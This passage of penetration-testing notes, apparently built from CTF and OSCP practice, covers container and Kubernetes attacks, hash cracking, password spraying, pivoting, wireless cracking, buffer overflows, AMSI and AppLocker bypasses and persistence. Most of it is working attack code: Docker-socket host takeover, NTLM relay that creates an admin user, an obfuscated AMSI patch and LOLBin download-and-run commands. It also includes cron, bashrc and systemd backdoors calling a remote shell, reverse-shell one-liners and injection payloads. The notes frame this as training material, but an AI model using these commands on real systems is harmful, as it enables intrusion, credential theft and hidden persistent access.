Detecting if you’re in a container: The /.dockerenv file is created in every Docker container. The /proc/1/cgroup file contains docker strings for containerized processes. These are the canonical ways to detect container execution.

Unauthenticated Docker API (port 2375): The Docker daemon can expose its management API over TCP. When this is unauthenticated (no TLS), anyone with network access can fully control Docker create containers, stop services, mount the host filesystem.

Docker socket (/var/run/docker.sock): When mounted inside a container, the socket grants full Docker daemon control from within the container. Create a new container mounting the host’s root filesystem, chroot into it, and you have host root access.

cat /proc/1/cgroup | grep docker
ls /.dockerenv

# Unauthenticated Docker API
docker H tcp://$IP:2375 run v /:/host it alpine chroot /host bash

# docker.sock
curl unixsocket /var/run/docker.sock http://localhost/version
docker H unix:///var/run/docker.sock run v /:/host it alpine chroot /host bash

10.2 Kubernetes

Kubernetes (K8s) is the dominant container orchestration platform. It manages deployments of containers (Pods) across clusters of nodes. The attack surface includes the API server, the kubelet (node agent), etcd (the cluster’s keyvalue store containing all configuration and secrets), and the service account tokens mounted in every pod.

Service account tokens are the primary Kubernetes identity mechanism for pods. By default, every pod has a service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. This JWT token authenticates to the Kubernetes API server. If the associated service account has broad permissions (clusteradmin is common in misconfigured clusters), you can use it to read all secrets, exec into any pod, or create new privileged pods.

Kubelet on port 10250 exposes a REST API for managing pods on a node. With anonymous authentication enabled (a misconfiguration), you can list running pods and execute commands in any running container on that node.

etcd on port 2379 stores all Kubernetes cluster state, including secrets in plaintext (unless encrypted at rest). An exposed, unauthenticated etcd is a complete cluster compromise.

kubectl get pods allnamespaces
kubectl get secrets allnamespaces
kubectl auth cani list

# Service account token inside pod
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Kubelet API
curl sk https://$IP:10250/pods
curl sk https://$IP:10250/run/default/POD_NAME/CONTAINER_NAME d "cmd=id"

# etcd
etcdctl endpoints=http://$IP:2379 get / prefix keysonly

⬡ PHASE 11 HASH CRACKING

Password hashing is a oneway transformation the original password cannot be mathematically reversed from the hash. Instead, cracking works by generating candidate passwords, hashing them with the same algorithm and parameters, and comparing the result to the target hash. The speed of cracking depends on the hash algorithm: MD5 can be computed billions of times per second on a GPU; bcrypt is deliberately slow and may only allow thousands of attempts per second.

Hash cracking is intelligence work before it’s compute work. Knowing your target organization, their likely password policies, and common patterns (company name, year, special characters) lets you build targeted wordlists and rules that dramatically outperform generic approaches. The OneRuleToRuleThemAll rule set alone can transform a modest wordlist into billions of candidates by applying common modifications (capitalization, number substitution, special character suffixes).

11.1 Hash Identification

Identifying the hash algorithm before cracking is essential running hashcat with the wrong mode wastes time and produces no results. Hash formats have telltale characteristics: length (MD5 = 32 hex chars, SHA1 = 40, SHA256 = 64), prefix ($2y$ = bcrypt, $6$ = SHA512crypt, $1$ = MD5crypt), and character set.

hashidentifier "HASH_VALUE"
hashid "HASH_VALUE"
namethathash t "HASH_VALUE"

11.2 Hashcat

Hashcat is the world’s fastest password cracker, optimized for GPU acceleration. The m flag specifies the hash mode. Attack modes (a) control the cracking strategy: Wordlist attack (a 0): Try every password in a wordlist asis. Fast but limited to exactly what’s in the list. Wordlist + rules (a 0 r): Apply transformation rules to every wordlist entry. A rule can capitalize the first letter, add a number at the end, substitute @ for a, and more. One wordlist one rule file can generate billions of candidates. Mask attack (a 3): Brute force with a defined character set and length pattern. ?u = uppercase, ?l = lowercase, ?d = digit, ?s = special. ?u?l?l?l?l?l?d?d targets 8character passwords with an uppercase first letter and two trailing digits a common corporate pattern.

| Hash Type | Mode | Command | |||| | MD5 | 0 | hashcat m 0 hash.txt rockyou.txt | | SHA1 | 100 | hashcat m 100 hash.txt rockyou.txt | | bcrypt | 3200 | hashcat m 3200 hash.txt rockyou.txt slowcandidates | | SHA512crypt | 1800 | hashcat m 1800 hash.txt rockyou.txt | | NTLM | 1000 | hashcat m 1000 hash.txt rockyou.txt | | NetNTLMv2 | 5600 | hashcat m 5600 hash.txt rockyou.txt | | Kerberoast | 13100 | hashcat m 13100 hash.txt rockyou.txt | | ASREP | 18200 | hashcat m 18200 hash.txt rockyou.txt |

# Attack modes
hashcat m 1000 hash.txt rockyou.txt                            # Wordlist
hashcat m 1000 hash.txt rockyou.txt r best64.rule             # Wordlist + rules
hashcat m 1000 hash.txt a 3 ?u?l?l?l?l?l?d?d                # Mask brute force
hashcat m 1000 hash.txt rockyou.txt r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
hashcat m 1000 hash.txt rockyou.txt w 3                      # High workload
hashcat m 1000 hash.txt show                                 # Show cracked

11.3 John the Ripper

John the Ripper is a versatile password cracker that’s particularly strong at handling nonstandard hash formats. Its key advantage over hashcat for penetration testers is the *2john utility suite ssh2john, zip2john, keepass2john, pdf2john, and others which extract crackable hashes from various file formats. These utilities normalize the hash into a format John can process, enabling cracking of encrypted SSH keys, ZIP archives, KeePass databases, and more.

ssh2john id_rsa > rsa.hash && john rsa.hash wordlist=rockyou.txt
zip2john archive.zip > zip.hash && john zip.hash
keepass2john db.kdbx > kp.hash && john kp.hash
john hash.txt wordlist=rockyou.txt rules=All
john hash.txt show

11.4 Password Spraying

Password spraying is the lowandslow alternative to brute forcing. Traditional brute forcing tries many passwords against one account and gets locked out. Password spraying tries one password against many accounts. Account lockout policies typically trigger after 35 failed attempts for the same account; spraying stays under that threshold by moving on after one or two attempts per account.

Checking the password policy BEFORE spraying is critical if the lockout threshold is 3 attempts and you spray 3 times without checking, you’ve locked every account in the domain. crackmapexec can retrieve the domain password policy anonymously in many configurations.

The most common enterprise passwords follow predictable patterns because users comply with the minimum requirements of the password policy and nothing more: Season+Year+Symbol is the universal format.

crackmapexec smb $IP/24 u users.txt p "Password123" continueonsuccess
crackmapexec smb $DC u users.txt p "Summer2024!" continueonsuccess
kerbrute passwordspray d $DOMAIN dc $DC users.txt "Password123"

# Check policy BEFORE spraying
crackmapexec smb $DC u "" p "" passpol

Most cracked enterprise password: Season+Year+Symbol (Winter2024!).

⬡ PHASE 12 PIVOTING & TUNNELING

Pivoting is the technique of using access to one compromised system to reach other systems on networks that aren’t directly accessible from your attacker machine. Real network environments are segmented a web server in the DMZ can’t directly talk to the database server in the internal network, and your attacker machine can’t reach the internal network at all. But if you compromise the web server, it can reach the database. Pivoting lets you route your traffic through the compromised system to reach those internal targets.

Tunneling encapsulates network traffic inside another protocol to bypass firewall rules or route through restricted connections. SSH tunnels, SOCKS proxies, and specialized tools like Chisel and Ligolong all serve this purpose.

proxychains is the standard Linux tool for routing tool output through a SOCKS proxy. Once a SOCKS tunnel is established (via SSH D or Chisel), adding proxychains before a command routes all its TCP traffic through the tunnel.

12.1 SSH Tunneling

SSH tunneling leverages an existing SSH connection to create encrypted tunnels for other traffic. It requires only SSH access no additional tools on the pivot host.

Local port forwarding (L): Opens a port on your local machine; traffic sent to that port is forwarded through SSH to a specified destination. ssh L 8080:192.168.1.10:80 user@pivot makes 192.168.1.10:80 (internal) accessible at localhost:8080 (your machine).

Dynamic port forwarding (D): Creates a SOCKS proxy on your local machine that routes all traffic through the SSH connection. ssh D 1080 user@pivot + proxychains nmap lets you scan the internal network through the pivot.

Remote port forwarding (R): Opens a port on the remote SSH server that forwards back to your machine. Used to create callbacks from a compromised host behind a firewall.

# Local port forward
ssh L 8080:127.0.0.1:8080 user@$PIVOT_IP

# Remote port forward
ssh R 4444:127.0.0.1:4444 user@$PIVOT_IP

# SOCKS proxy
ssh D 1080 user@$PIVOT_IP
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap sT Pn 192.168.1.0/24

# Background tunnel
ssh N f D 1080 user@$IP

12.2 Chisel

Chisel is a fast TCP/UDP tunnel over HTTP, secured with SSH. It’s particularly useful when only HTTP traffic is allowed through a firewall. It runs as a server on your attacker machine and a client on the pivot host. The key feature is reverse tunneling the client on the pivot connects out to your server, which is useful when the pivot isn’t directly reachable from outside.

Chisel’s SOCKS mode creates a SOCKS5 proxy accessible from your attacker machine, routing traffic through the pivot into the internal network.

# Server (your machine)
./chisel server p 9999 reverse

# Client (pivot machine)  SOCKS proxy
./chisel client YOUR_IP:9999 R:socks

# Client  specific port forward
./chisel client YOUR_IP:9999 R:8080:192.168.1.100:80

12.3 Ligolong

Ligolong is a modern tunneling tool that creates a TUN interface on your attacker machine, making internal network targets appear as if they’re directly routable from your machine. Unlike Chisel/proxychains which require proxychains before every command, Ligolong creates actual network routes any tool works without modification.

The workflow: create a TUN interface, start the proxy server, run the agent on the pivot, establish the session, then add an IP route. After the route is added, you can nmap, curl, smbclient, or any tool directly against internal IPs without proxychains.

# Setup TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Server
./proxy selfcert laddr 0.0.0.0:11601

# Agent (pivot)
./agent connect YOUR_IP:11601 ignorecert

# In ligolo console
session → ifconfig → start

# Add route
sudo ip route add 192.168.1.0/24 dev ligolo
# Now directly access internal IPs  no proxychains

12.4 NTLM Relay

This technique was covered in depth in the Active Directory section (Phase 8.6). From a pivoting perspective, NTLM relay becomes viable once you have internal network access the protocol relies on linklocal protocols (LLMNR, NBTNS) that only operate within the local network segment. Pivoting into the internal network makes these attacks possible against targets that were previously unreachable.

crackmapexec smb $IP/24 genrelaylist relay_targets.txt

responder I eth0 dwPv

impacketntlmrelayx tf relay_targets.txt smb2support
impacketntlmrelayx tf relay_targets.txt smb2support c "net user hacker P@ss! /add && net localgroup administrators hacker /add"
impacketntlmrelayx tf relay_targets.txt smb2support socks

⬡ PHASE 13 WIRELESS ATTACKS

Wireless network attacks target the radio communication layer that WiFi devices use. Unlike wired attacks that require physical or logical network access, wireless attacks can often be conducted from a public space near the target. The primary targets are WPA2/WPA3 preshared key (PSK) networks and WPS (WiFi Protected Setup).

The hardware requirement: You need a wireless adapter capable of monitor mode and packet injection not all adapters support this. Common choices include the Alfa AWUS036ACH and similar adapters with the Ralink RT3070 or Atheros AR9271 chipsets.

13.1 WPA2

WPA2 (WiFi Protected Access 2) is the dominant enterprise and home WiFi security protocol. The PSK (PreShared Key) version uses a shared password for authentication. The attack targets the 4way handshake the authentication exchange that occurs when a client connects to an access point. This handshake contains enough information to verify password guesses offline.

Monitor mode puts the wireless adapter into a passive capture mode where it captures all wireless frames in range regardless of the destination MAC address. airodumpng finds access points, shows their channels, BSSIDs, and connected clients. aireplayng deauthentication forcibly disconnects a client from the AP, causing it to reconnect and perform a new 4way handshake which you capture.

hcxdumptool/hcxpcapngtool is the modern approach: it captures PMKID frames (which enable offline cracking without a full handshake) as well as traditional handshakes. hashcat’s mode 22000 handles both PMKID and EAPOL handshakes.

airmonng start wlan0

airodumpng wlan0mon
airodumpng c [CHANNEL] bssid [BSSID] w capture wlan0mon

# Deauth to force handshake
aireplayng 0 10 a [BSSID] c [CLIENT_MAC] wlan0mon

aircrackng capture01.cap w /usr/share/wordlists/rockyou.txt

# hashcat approach
hcxdumptool i wlan0mon o capture.pcapng enable_status=1
hcxpcapngtool o capture.hc22000 capture.pcapng
hashcat m 22000 capture.hc22000 rockyou.txt

13.2 WPS

WPS (WiFi Protected Setup) is a feature designed to make it easy to connect devices to a WiFi network without entering the full password using an 8digit PIN. The PIN vulnerability: due to a design flaw in how WPS validates the PIN (it validates the first 4 digits and second 4 digits separately), the effective key space is only 11,000 combinations rather than 100,000,000. Pixie Dust is an offline attack against the WPS handshake that recovers the PIN instantly for vulnerable access points by exploiting weak random number generation in the router’s implementation.

wash i wlan0mon
reaver i wlan0mon b [BSSID] vv
reaver i wlan0mon b [BSSID] vv K 1  # Pixie Dust

⬡ PHASE 14 BUFFER OVERFLOW (OSCP STYLE)

Buffer overflow vulnerabilities occur when a program writes data beyond the allocated buffer boundary, overwriting adjacent memory. In classic stackbased buffer overflows, overflowing a local buffer overwrites the saved return address on the stack allowing an attacker to redirect execution to arbitrary code.

The OSCPstyle methodology is a systematic process: find the crash point (how many bytes causes a crash?), find the exact offset (which bytes overwrite EIP/RIP?), identify bad characters (which bytes corrupt the payload?), find a suitable JMP ESP address (where do we jump to reach our shellcode?), generate shellcode, and build the final exploit.

Why this matters: While modern operating systems have mitigations (ASLR, NX/DEP, stack canaries), many legacy applications and CTF challenges run without them. Understanding stack overflow exploitation is foundational knowledge for binary exploitation and required for OSCP.

EIP (Extended Instruction Pointer) is the 32bit register containing the address of the next instruction to execute. Overwriting EIP with the address of a JMP ESP instruction redirects execution to the top of the stack where your shellcode sits.

Bad characters are byte values that corrupt the payload as it’s processed by the vulnerable application. The null byte (\x00) is almost always bad because string functions treat it as a string terminator. Line feed (\x0a) and carriage return (\x0d) are often bad in networkbased exploits. Bad chars must be excluded from shellcode.

# STEP 1: Find crash point
for i in $(seq 100 100 5000); do
    python3 c "print('A'*$i)" | nc $IP $PORT
done

# STEP 2: Find offset
/usr/share/metasploitframework/tools/exploit/pattern_create.rb l 3000
/usr/share/metasploitframework/tools/exploit/pattern_offset.rb q [EIP_VALUE]

# Verify
python3 c "print('A'*[OFFSET] + 'B'*4 + 'C'*200)" | nc $IP $PORT
# EIP should be: 42424242

# STEP 3: Bad chars
python3 c "print(''.join(chr(i) for i in range(1,256)))"

# STEP 4: Find JMP ESP
# In Immunity Debugger: !mona jmp r esp cpb "\x00\x0a\x0d"

# STEP 5: Generate shellcode
msfvenom p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 b "\x00\x0a\x0d" f python
msfvenom p linux/x86/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 b "\x00" f python

# STEP 6: Exploit structure
import socket
payload = b"A" * OFFSET
payload += JMP_ESP  # little endian
payload += b"\x90" * 16  # nop sled
payload += SHELLCODE
s = socket.socket()
s.connect((IP, PORT))
s.send(payload)

⬡ PHASE 15 REVERSE ENGINEERING

Reverse engineering (RE) is the process of analyzing compiled binaries to understand their functionality without access to source code. In penetration testing, this is most commonly needed for: understanding how custom authentication works (to bypass it), finding hardcoded credentials in binaries, analyzing malware, and understanding patching requirements for CTF challenges.

The methodology flows from simple to complex: First use file and strings to get quick wins from the binary’s static data. Then use ltrace/strace to observe runtime behavior. Finally, disassemble and decompile with Ghidra or radare2 for full analysis.

strings extracts all printable character sequences from a binary. Passwords, API keys, URLs, error messages, and other humanreadable data embedded in the binary are immediately visible. This is always the first step it’s fast and frequently sufficient.

ltrace intercepts library function calls at runtime. For crackme challenges, ltrace often shows the strcmp() call that compares your input to the expected password revealing the correct answer without any disassembly.

strace intercepts system calls (file opens, network connections, memory allocations). Combined with ltrace, these two tools give a complete picture of what a binary does at runtime.

Ghidra (from the NSA, open source) decompiles binary functions back into (approximate) C code. The decompiled output is imperfect but dramatically speeds up understanding complex binaries. The workflow: import the binary, let it autoanalyze, find the main function or authenticationrelated functions in the Symbol Tree, and read the decompiled code.

file ./binary
strings ./binary
strings n 8 ./binary

nm ./binary
readelf s ./binary
objdump d ./binary
objdump M intel d ./binary

ldd ./binary
readelf d ./binary | grep NEEDED

upx d ./packed_binary
detectiteasy ./binary

strace ./binary
ltrace ./binary  # often shows strcmp("yourinput", "actualpassword")

# Ghidra workflow
# New Project → Import File → Autoanalyze
# Symbol Tree → Functions → find interesting functions
# Rename variables for clarity

⬡ PHASE 16 AV/EDR/AMSI BYPASS

AV (Antivirus), EDR (Endpoint Detection and Response), and AMSI (Antimalware Scan Interface) are the defensive layers that detect and block malicious tools and payloads. In modern engagements, you’ll almost certainly encounter these defenses on Windows targets. Understanding how to operate around them is essential for realworld work.

AMSI is a Windows API that allows antimalware products to scan scripts (PowerShell, VBScript, JScript, .NET) in memory before execution. It intercepts calls to AmsiScanBuffer() in the Windows API and passes content to the registered AV engine. Bypassing AMSI means your PowerShell scripts execute without being scanned.

The AMSI bypass technique patches the AmsiScanBuffer function in memory to make it always return “clean.” It uses .NET reflection to access internal .NET/Windows internals without triggering filebased detection. Because the patch is applied entirely in memory, it avoids diskbased AV detection.

AppLocker is a Windows application control feature that restricts which executables, scripts, and DLLs can run based on rules (publisher, path, hash). Several Windowstrusted binaries have been discovered to execute arbitrary code when invoked in specific ways these are called “living off the land” binaries (LOLBins).

16.1 AMSI Bypass

# Patch AmsiScanBuffer
$a=[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Auto'+'mation.Am'+'siUti'+'ls')
$b=$a.GetField('ams'+'iIniti'+'alized','NonPublic,Static')
$b.SetValue($null,$false)

16.2 PowerShell Bypasses

PowerShell execution policy is not a security boundary it’s a preference setting. ExecutionPolicy Bypass is a builtin flag that disables it. PowerShell version 2 (where still available) predates AMSI, script block logging, and module logging making it an effective bypass for all three.

powershell ExecutionPolicy Bypass File script.ps1
powershell ep bypass c "IEX(NewObject Net.WebClient).DownloadString('http://IP/script.ps1')"

# PowerShell v2 (bypasses AMSI/logging)
powershell Version 2 Command "..."

16.3 AppLocker Bypass

LOLBins (Living Off the Land Binaries) are legitimate Windows binaries that can be abused to execute arbitrary code. Because they’re signed by Microsoft and trusted by AppLocker policies, they bypass application whitelisting.

regsvr32 squiblydoo is particularly reliable: it downloads and parses an XML scriptlet file over HTTP (or SMB), executing embedded JScript/VBScript code. Because regsvr32.exe is a trusted Windows binary, it bypasses most AppLocker configurations and many AV products.

mshta executes HTML Application (HTA) files, which are fullfeatured Windows applications written in HTML/VBScript/JScript that run outside the browser sandbox. Hosting a malicious HTA file and serving it via HTTP to mshta.exe executes arbitrary code.

mshta.exe http://IP/evil.hta
regsvr32 /s /n /u /i:http://IP/file.sct scrobj.dll  # squiblydoo
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "
wscript.exe script.vbs
InstallUtil.exe /logfile= /LogToConsole=false evil.exe
MSBuild.exe evil.csproj

regsvr32 squiblydoo downloads and executes an XML scriptlet over HTTP, whitelisted in most AppLocker configs.

⬡ PHASE 17 PERSISTENCE

Persistence ensures continued access to a compromised system after reboots, credential changes, and connection drops. In authorized penetration tests, demonstrating persistence is often part of the scope proving that an attacker who achieved access could maintain it indefinitely. In realworld compromises, persistence is what separates a singleincident compromise from a longterm breach.

The principle of minimal footprint applies: use the least conspicuous persistence mechanism that meets your needs. A systemd backdoor service is reliable but obvious. An SSH authorized key is subtle and hard to detect without explicit review. Cron job additions are medium visibility. Choose the technique appropriate to your objectives and the target’s monitoring capability.

17.1 Linux

Cron persistence is reliable across reboots and user sessions. Adding to the user’s crontab (crontab e) runs as that user; adding to /etc/crontab with the root specifier runs as root.

SSH authorized_keys is the most reliable and subtle persistence mechanism on Linux. A public key placed in ~/.ssh/authorized_keys allows the corresponding private key to authenticate without a password and survives password changes, reboots, and most cleanup attempts unless the authorized_keys file is specifically reviewed.

Systemd service persistence is the most robust: it survives reboots, automatically restarts on failure, and runs without any user interaction. However, it’s also the most visible a new service entry in /etc/systemd/system/ is relatively obvious to an administrator reviewing installed services.

# Cron
(crontab l; echo "*/5 * * * * bash i >& /dev/tcp/IP/4444 0>&1") | crontab 
echo "*/5 * * * * root bash i >& /dev/tcp/IP/4444 0>&1" >> /etc/crontab

# SSH authorized_keys
mkdir p ~/.ssh && echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

# .bashrc
echo "bash i >& /dev/tcp/IP/4444 0>&1" >> ~/.bashrc

# Systemd service
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Service
[Service]
ExecStart=/bin/bash c "bash i >& /dev/tcp/IP/4444 0>&1"
Restart=always
[Install]
WantedBy=multiuser.target
EOF
systemctl enable backdoor && systemctl start backdoor

17.2 Windows

Registry Run keys execute specified programs whenever the associated user logs in (HKCU) or any user logs in (HKLM). This is the most commonly abused Windows persistence mechanism and the most commonly checked by defenders.

Scheduled tasks are more flexible they can run on logon, on schedule, at startup, or triggered by events. The /ru SYSTEM flag runs the task as SYSTEM. Naming the task something systemlike (WindowsUpdate, MicrosoftEdgeUpdate) reduces the chance of casual detection.

WMI event subscriptions are the stealthiest Windows persistence mechanism. WMI (Windows Management Instrumentation) can subscribe to system events (logon, process creation, timer) and execute code in response. WMI subscriptions survive reboots, don’t appear in the task scheduler, and are rarely checked by administrators.

# Registry run keys
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM /f

# Service creation
sc create FakeService binPath= "C:\Windows\Temp\shell.exe" start= auto
sc start FakeService

# WMI event subscription (stealthiest)
# GetWMIObject Namespace root/subscription Class __EventConsumer

⬡ PHASE 18 PROOF & DOCUMENTATION

Documentation is the deliverable. In real engagements, the penetration test report is what the client pays for without clear evidence and a reproducible path from initial access to compromise, the test has limited value. Even in CTFs, clean documentation cements your learning and provides a reference for future similar challenges.

Proof screenshots follow a standard format: show who you are (id/whoami), where you are (hostname), how you’re connected (ip addr/ipconfig), and what you found (the flag or sensitive data). This oneliner captures all four in a single command.

18.1 Proof Screenshots

# OSCPstyle oneliner (Linux)
echo e "=== PROOF ===\n$(id)\n$(hostname)\n$(ip addr show | grep "inet " | awk '{print $2}')\n$(cat /proof.txt)"

# OSCPstyle oneliner (Windows)
cmd /c "echo === PROOF === && whoami && hostname && ipconfig | findstr IPv4 && type C:\Users\Administrator\Desktop\proof.txt"

18.2 Key CVEs Reference

Knowing the landmark CVEs is part of being an effective penetration tester. These are the vulnerabilities that have defined the field, appear regularly in CTF scenarios based on realworld infrastructure, and serve as the basis for understanding whole classes of attack technique. Each one represents a significant architectural or implementation failure that affected millions of systems.

CVENameAffectedCheck
MS17010EternalBlueWindows SMBnmap script smbvulnms17010
CVE202141773Apache Path TraversalApache 2.4.49curl "http://IP/cgibin/.%2e/.%2e/etc/passwd"
CVE202134527PrintNightmareWindows Print Spoolernmap check
CVE20213156Baron Sameditsudo < 1.9.5p2sudo version
CVE20220847Dirty PipeLinux 5.85.16uname r
CVE20214034PwnKitpolkit pkexecls la /usr/bin/pkexec
CVE20201472ZerologonNetlogon (DC)impacketzerologon
Log4ShellCVE202144228Log4j2 < 2.15${jndi:ldap://IP/x}
CVE202346604ActiveMQActiveMQ old versionsport 61616

⬡ APPENDIX A VETERAN TIPS MASTER LIST

  1. When stuck: stop, breathe, list everything you have NOT tried yet. The answer is usually in a gap.
  2. Always try credentials in both directions: user:pass AND pass:user.
  3. The box creator is telling a story. Every service, every version number is intentional.
  4. Boring services hide the most interesting vulnerabilities. Do NOT skip anything.
  5. If you find a rabbit hole, note it explicitly so you don’t go back.
  6. The simplest explanation is usually right. Before trying a complex 0day, try admin:admin.
  7. Every form field is an injection point. Test ALL of them.
  8. JSON body parameters are often forgotten injection points.
  9. HTTP headers are injection points too: XForwardedFor, XRemoteIP, Referer, UserAgent.
  10. 403 Forbidden does not mean you cannot access it. Try URL fuzzing, method tampering, header injection.
  11. Cookies that look like “role=user” are almost always vulnerable to tampering.
  12. GraphQL introspection is almost always enabled gives you the entire API schema.
  13. IDOR is the most common realworld vulnerability. Try IDs 1, 2, 3…
  14. LFI with PHP wrappers: php://filter/convert.base64encode/resource=index.php reveals source.
  15. Run sudo l FIRST on Linux. No password sudo commands are the most common privesc path.
  16. SUID files: find / perm 4000 2>/dev/null. Then GTFOBins.
  17. Always check /opt/, /var/www/, /home/other_user/, /tmp/ for configuration files with passwords.
  18. pspy64 is essential: run it and wait 5 minutes. Background cron jobs often reveal credentials.
  19. Docker group membership = root: docker run v /:/host it alpine chroot /host bash
  20. SeImpersonatePrivilege → PrintSpoofer or GodPotato → SYSTEM. Every time.
  21. Always check AlwaysInstallElevated registry key.
  22. Kerberoastable accounts: any service account with an SPN. Service account passwords are often old and weak.
  23. ASREP Roastable accounts: no credentials needed to get the hash.
  24. After getting domain admin credentials, always dump ntds.dit.
  25. BloodHound paths: shortest path to DA, Kerberoastable to DA, LAPS readers.
  26. Responder captures hashes passively. Run it whenever you are on a Windows network.
  27. Transfer files via base64 when no other method works.
  28. .bash_history contains commands with credentials. Always check it.
  29. Docker containers: always check environment variables and /proc/1/environ.
  30. The final answer is almost always simpler than you think.

⬡ APPENDIX B QUICK REFERENCE

Reverse Shell OneLiners

# Bash
bash i >& /dev/tcp/IP/PORT 0>&1

# Python 3
python3 c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","i"])'

# PHP
php r '$sock=fsockopen("IP",PORT);exec("/bin/sh i <&3 >&3 2>&3");'

# PowerShell
powershell nop c "$client = NewObject System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) ne 0){;$data = (NewObject TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | OutString );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Netcat
nc e /bin/sh IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh i 2>&1|nc IP PORT >/tmp/f

# socat
socat exec:"bash li",pty,stderr,setsid,sigint,sane tcp:IP:PORT

Web Injection Payloads Reference

TypePayloadNotes
SQL (MySQL)' OR 1=1Basic auth bypass
SQL (MSSQL)' OR 1=1;MSSQL semicolon
SQLi timebased' AND SLEEP(5)5s delay = vulnerable
XSS reflected<script>alert(1)</script>Also try "><img src=x onerror=alert(1)>
SSTI Jinja2{{7*7}}49 = vulnerable
SSTI Twig{{7*7}}Same
Command Injection; idAlso: `id`, $(id), && id
LDAP Injection`)(uid=))((uid=*`
LFI Linux../../etc/passwdTry more ../
LFI Windows..\..\..\Windows\System32\drivers\etc\hosts
XXE<!DOCTYPE x [<!ENTITY test SYSTEM "file:///etc/passwd">]>Include in XML body
CRLF%0d%0aHeader: evilHeader injection

Essential Wordlists

WordlistPathUse
rockyou.txt/usr/share/wordlists/rockyou.txtPassword cracking
raftlarge/usr/share/seclists/Discovery/WebContent/raftlargewords.txtWeb fuzzing
subdomains5000/usr/share/seclists/Discovery/DNS/subdomainstop1million5000.txtDNS brute
topusernames/usr/share/seclists/Usernames/topusernamesshortlist.txtUser enum
snmp strings/usr/share/seclists/Discovery/SNMP/snmp.txtSNMP community
best64 rules/usr/share/hashcat/rules/best64.ruleHash cracking

Essential Online Resources

ResourceURL
GTFOBinsgtfobins.github.io
LOLBASlolbasproject.github.io
HackTricksbook.hacktricks.xyz
CrackStationcrackstation.net
RevShellsrevshells.com
CyberChefgchq.github.io/CyberChef
ExploitDBexploitdb.com
PayloadsAllTheThingsgithub.com/swisskyrepo/PayloadsAllTheThings
SecListsgithub.com/danielmiessler/SecLists
VulHubvulhub.org

⬡ APPENDIX C MASTER CHECKLIST

# ============================================
# COMPLETE BOX ATTACK FLOW  MASTER CHECKLIST
# ============================================

# PHASE 0: SETUP
[ ] export IP, DOMAIN, USER, PASS variables
[ ] mkdir p ~/boxes/BOXNAME/{nmap,web,smb,ldap,exploits,loot,notes,screenshots}
[ ] Add to /etc/hosts
[ ] Start terminal logging: script a notes/terminal.log

# PHASE 1: SCANNING
[ ] Fast allports: rustscan a $IP ulimit 5000
[ ] Deep scan: nmap p$PORTS sV sC A O $IP
[ ] UDP top200: sudo nmap sU topports 200 $IP
[ ] Auto exploit search: searchsploit nmap nmap/targeted.txt

# PHASE 2: SERVICE ENUMERATION
[ ] EVERY open port  fully enumerate all
[ ] FTP: try anonymous, check write access
[ ] SSH: check version, try found keys
[ ] HTTP/HTTPS: full web enum
[ ] SMB: null session, share enumeration, files
[ ] LDAP: anonymous bind, user enum
[ ] SNMP: community string, full walk
[ ] NFS: showmount, mount and check
[ ] Databases: try default/blank creds
[ ] Redis: check auth, try SSH key write

# PHASE 3: WEB APPLICATION
[ ] Browse manually  every page
[ ] View source  comments, endpoints, keys
[ ] gobuster/ffuf: directory + file fuzzing
[ ] Virtual host fuzzing
[ ] JavaScript analysis
[ ] Check for .git, .svn, .env exposed
[ ] Test all forms for SQLi, XSS, SSTI, IDOR
[ ] Check file upload functionality
[ ] Parameter discovery

# PHASE 4: EXPLOITATION
[ ] Match found services to exploits
[ ] Try default credentials everywhere
[ ] Exploit confirmed vulnerability
[ ] Catch reverse shell, stabilize

# PHASE 5: PRIVILEGE ESCALATION
[ ] sudo l
[ ] SUID/SGID/capabilities
[ ] Cron jobs (pspy64)
[ ] Internal services
[ ] Configuration files with credentials
[ ] LinPEAS/WinPEAS automated scan
[ ] Token impersonation (Windows)

# PHASE 6: ACTIVE DIRECTORY (if applicable)
[ ] BloodHound collection
[ ] Kerberoasting
[ ] ASREP Roasting
[ ] Password spraying
[ ] ACL abuse paths
[ ] DCSync if possible

# FINAL: PROOF
[ ] Get user flag
[ ] Escalate to root/admin
[ ] Take proof screenshot (id, hostname, ip addr, flag)
[ ] Document attack path in notes
[ ] Clean up any planted files

The Golden Rules

RuleApplication
Enumerate first, exploit secondNever run an exploit on a service you haven’t fully enumerated
Every credential goes in the listUsername, password, hash all of it, tried on everything
When stuck, change your wordlistThe wordlist is often the limiting factor, not the technique
Read error messages carefullyError messages are information disclosure
Check the version numberExact version → CVE search → public exploit
Trust the process, not the feelingYou will feel like the box is impossible. Follow the methodology.
Document rabbit holesPrevent spending an hour on the same dead end twice
The intended path is usually simpleOverly complex chains are usually not the intended path
Default credentials are still the most common winadmin:admin, root:root, root:toor. Every single time.

These are my personal research notes accumulated from HackTheBox, HackMyVM, VulNyx, VulnHub, DockerLabs, TryHackMe, OSCP preparation, and real engagements. All techniques are documented for educational purposes and authorized security testing only.